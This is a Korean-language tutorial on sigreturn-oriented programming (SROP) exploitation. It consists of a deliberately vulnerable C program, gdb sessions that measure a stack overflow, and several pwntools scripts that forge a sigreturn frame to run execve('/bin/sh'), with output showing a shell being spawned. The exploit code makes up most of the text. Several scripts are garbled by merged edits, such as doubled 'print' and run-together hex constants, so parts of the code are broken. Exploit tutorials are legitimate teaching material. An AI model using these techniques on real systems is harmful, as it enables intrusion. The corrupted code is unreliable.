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Code Block

language	cpp
title	sig.c

//gcc -g -o sig32sig64 sig.c
#include <stdio.h>
#include <signal.h>

struct sigcontext sigcontext;

void handle_signal(int signum){
	printf("Signal number: %d\n", signum);
}

int main(){
	signal(SIGINT, (void *)handle_signal);
	while(1) {}
	return 0;
}

...

Code Block

language	cpp
title	srop64.c

//gcc -fno-stack-protector -o srop64 srop64.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 256512);
}
 
void main(){
    seteuid(getuid());
    write(1,"Hello SROP\n",10);
    vuln();
}

...

다음과 같이 Breakpoints를 설정합니다.gcc -m32 -g -o sig32 sig.c
- 0x400756: vuln 함수 코드 첫부분
- 0x40079a: read() 함수 호출 전

Code Block

title	Breakpoints

lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./srop64
Reading symbols from ./srop64...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln 
Dump of assembler code for function vuln:
   0x0000000000400756 <+0>:	push   rbp
   0x0000000000400757 <+1>:	mov    rbp,rsp
   0x000000000040075a <+4>:	sub    rsp,0x40
   0x000000000040075e <+8>:	mov    esi,0x400864
   0x0000000000400763 <+13>:	mov    rdi,0xffffffffffffffff
   0x000000000040076a <+20>:	call   0x400630 <dlsym@plt>
   0x000000000040076f <+25>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400773 <+29>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400777 <+33>:	mov    rsi,rax
   0x000000000040077a <+36>:	mov    edi,0x40086b
   0x000000000040077f <+41>:	mov    eax,0x0
   0x0000000000400784 <+46>:	call   0x400600 <printf@plt>
   0x0000000000400789 <+51>:	lea    rax,[rbp-0x40]
   0x000000000040078d <+55>:	mov    edx,0x1000x200
   0x0000000000400792 <+60>:	mov    rsi,rax
   0x0000000000400795 <+63>:	mov    edi,0x0
   0x000000000040079a <+68>:	call   0x400610 <read@plt>
   0x000000000040079f <+73>:	nop
   0x00000000004007a0 <+74>:	leave  
   0x00000000004007a1 <+75>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000000000400756
Breakpoint 1 at 0x400756
gdb-peda$ b *0x000000000040079a
Breakpoint 2 at 0x40079a
gdb-peda$

...

Code Block

title	Check overflow

gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/SROP/srop64 
Hello SROP

Breakpoint 1, 0x0000000000400756 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe498	0x7fffffffe498
gdb-peda$ x/gx 0x7fffffffe498
0x7fffffffe498:	0x00000000004007d0
gdb-peda$ x/i 0x00000000004007d0
   0x4007d0 <main+46>:	nop
gdb-peda$ c
Continuing.
Printf() address : 0x7ffff785e800

Breakpoint 2, 0x000000000040079a in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffe450	0x7fffffffe450
gdb-peda$ p/d 0x7fffffffe498 - 0x7fffffffe450
$1 = 72
gdb-peda$

...

Code Block

title	vsyscall

lazenca0x0@ubuntu:~/Exploit/SROP$ readelf --notes ./srop64

Displaying notes found at file offset 0x00000254 with length 0x00000020:
  Owner                 Data size	Description
  GNU                  0x00000010	NT_GNU_ABI_TAG (ABI version tag)
    OS: Linux, ABI: 2.6.32

Displaying notes found at file offset 0x00000274 with length 0x00000024:
  Owner                 Data size	Description
  GNU                  0x00000014	NT_GNU_BUILD_ID (unique build ID bitstring)
    Build ID: e3f2a207a17917c441c725ef3e150798d250b6ce8bc6a6d7b9f016893a86290ec9ed1b41769e9cfc

lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./srop64
gdb-peda$ b *0x0000000000400756
Breakpoint 1 at 0x400756
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/SROP/srop64 
Hello SROP
Breakpoint 1, 0x0000000000400756 in vuln ()
gdb-peda$ vmmap
Start              End                Perm	Name
...
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]
gdb-peda$ x/3i 0xffffffffff600000
   0xffffffffff600000:	mov    rax,0x60
   0xffffffffff600007:	syscall 
   0xffffffffff600009:	ret    
gdb-peda$

...

Code Block

language	py
title	srop64.py

from pwn import *
 
binary = ELF('./srop64')
p = process(binary.path)
sleep(20)
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
 
libcBase = stackAddr - 0x55800
sigreturnsyscall = libcBase + 0x5e96c00xbc375 
#syscall = 0xffffffffff600007
binsh = libcBase + 0x18cd57
syscallpoprax = libcBase + 0x33544
 0xbc375 
#syscall = 0xffffffffff600007
poprax = libcBase + 0x33544
 
printprint 'The base address of Libc    : ' + hex(libcBase)
print hex(sigreturn)
print hex(binsh)
print hex(syscall'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of poprax gadget    : ' + hex(poprax)
 
exploit = ''
exploit += "\x90" * 72
exploit += p64(poprax)
exploit += p64(0xf)
exploit += p64(syscall)

#ucontext
exploit += p64(0x0) * 5

#sigcontext
exploit += p64(0x0)		#R8
exploit += p64(0x0)		#R9
exploit += p64(0x0)		#R10
exploit += p64(0x0)		#R11
exploit += p64(0x0)		#R12
exploit += p64(0x0)		#R13
exploit += p64(0x0)		#R14
exploit += p64(0x0)		#R15

exploit += p64(binsh)	#RDI
exploit += p64(0x0)		#RSI
exploit += p64(0x0)		#RBP
exploit += p64(0x0)		#RBX
exploit += p64(0x0)		#RDX
exploit += p64(constants.SYS_execve0x3b)	#RAX
exploit += p64(0x0)		#RCX
exploit += p64(syscall)	#RSP
exploit += p64(syscall)	#RIP
exploit += p64(0x0)		#eflags
exploit += p64(0x33)	#cs
exploit += p64(0x0)		#gs
exploit += p64(0x0)		#fs
exploit += p64(0x2b)	#ss

p.send(exploit)
p.interactive()

pwntools를 이용해 조금더 편하게 코드를 작성할 수 있습니다.

Code Block

title	Get shell

lazenca0x0@ubuntu:~/Exploit$ python srop64.py 
[*] '/home/lazenca0x0/Exploit/SROP/srop64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/lazenca0x0/Exploit/SROP/srop64': pid 17771
The base address of Libc    : 0x7f9cb1ae2000
Address of syscall gadget   : 0x7f9cb1b9d945
Address of string "/bin/sh" : 0x7f9cb1c6e58b
Address of poprax gadget    : 0x7f9cb1b1c718
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

pwntools를 이용해 조금더 편하게 코드를 작성할 수 있습니다.

Code Block

language	py
title	srop64-pwn.py

from pwn import *

context.arch = "amd64"

binary = ELF('./srop64')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

libcBase = stackAddr - 0x55800
syscall = libcBase + 0xbc375
binsh = libcBase + 0x18cd57
poprax = libcBase + 0x33544

print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of poprax gadget    : ' + hex(poprax)
 
exploit = ''
exploit += "\x90" * 72
exploit += p64(poprax)
exploit += p64(0xf)
exploit += p64(syscall)
 
frame = SigreturnFrame(arch="amd64")
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsp = syscall
frame.rip = syscall
 
exploit += str(frame)
 
p.send(exploit)
p.interactive()

Code Block

title	Get shell

lazenca0x0@ubuntu:~/Exploit/SROP$ python srop64-pwn.py
[*] '/home/lazenca0x0/Exploit/srop64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/lazenca0x0/Exploit/SROP/srop64': pid 17757
The base address of Libc    : 0x7f36d0719000
Address of syscall gadget   : 0x7f36d07d4945
Address of string "/bin/sh" : 0x7f36d08a558b
Address of poprax gadget    : 0x7f36d0753718
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

Code Block

language	py
title	srop64-pwn.py

from pwn import *

binary = ELF('./srop64')
p = process(binary.path)
#sleep(20)
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
 
libcBase = stackAddr - 0x55800
binsh = libcBase + 0x18cd57
syscall = libcBase + 0xbc375 
poprax = libcBase + 0x33544
 
print hex(libcBase)
print hex(binsh)
print hex(syscall)
print hex(poprax)

exploit = ''
exploit += "\x90" * 72
exploit += p64(poprax)
exploit += p64(0xf)
exploit += p64(syscall)

frame = SigreturnFrame(arch="amd64")
frame.rax = 0x3b
frame.rdi = binsh
frame.rsp = syscall
frame.rip = syscall

exploit += str(frame)

p.send(exploit)
p.interactive()

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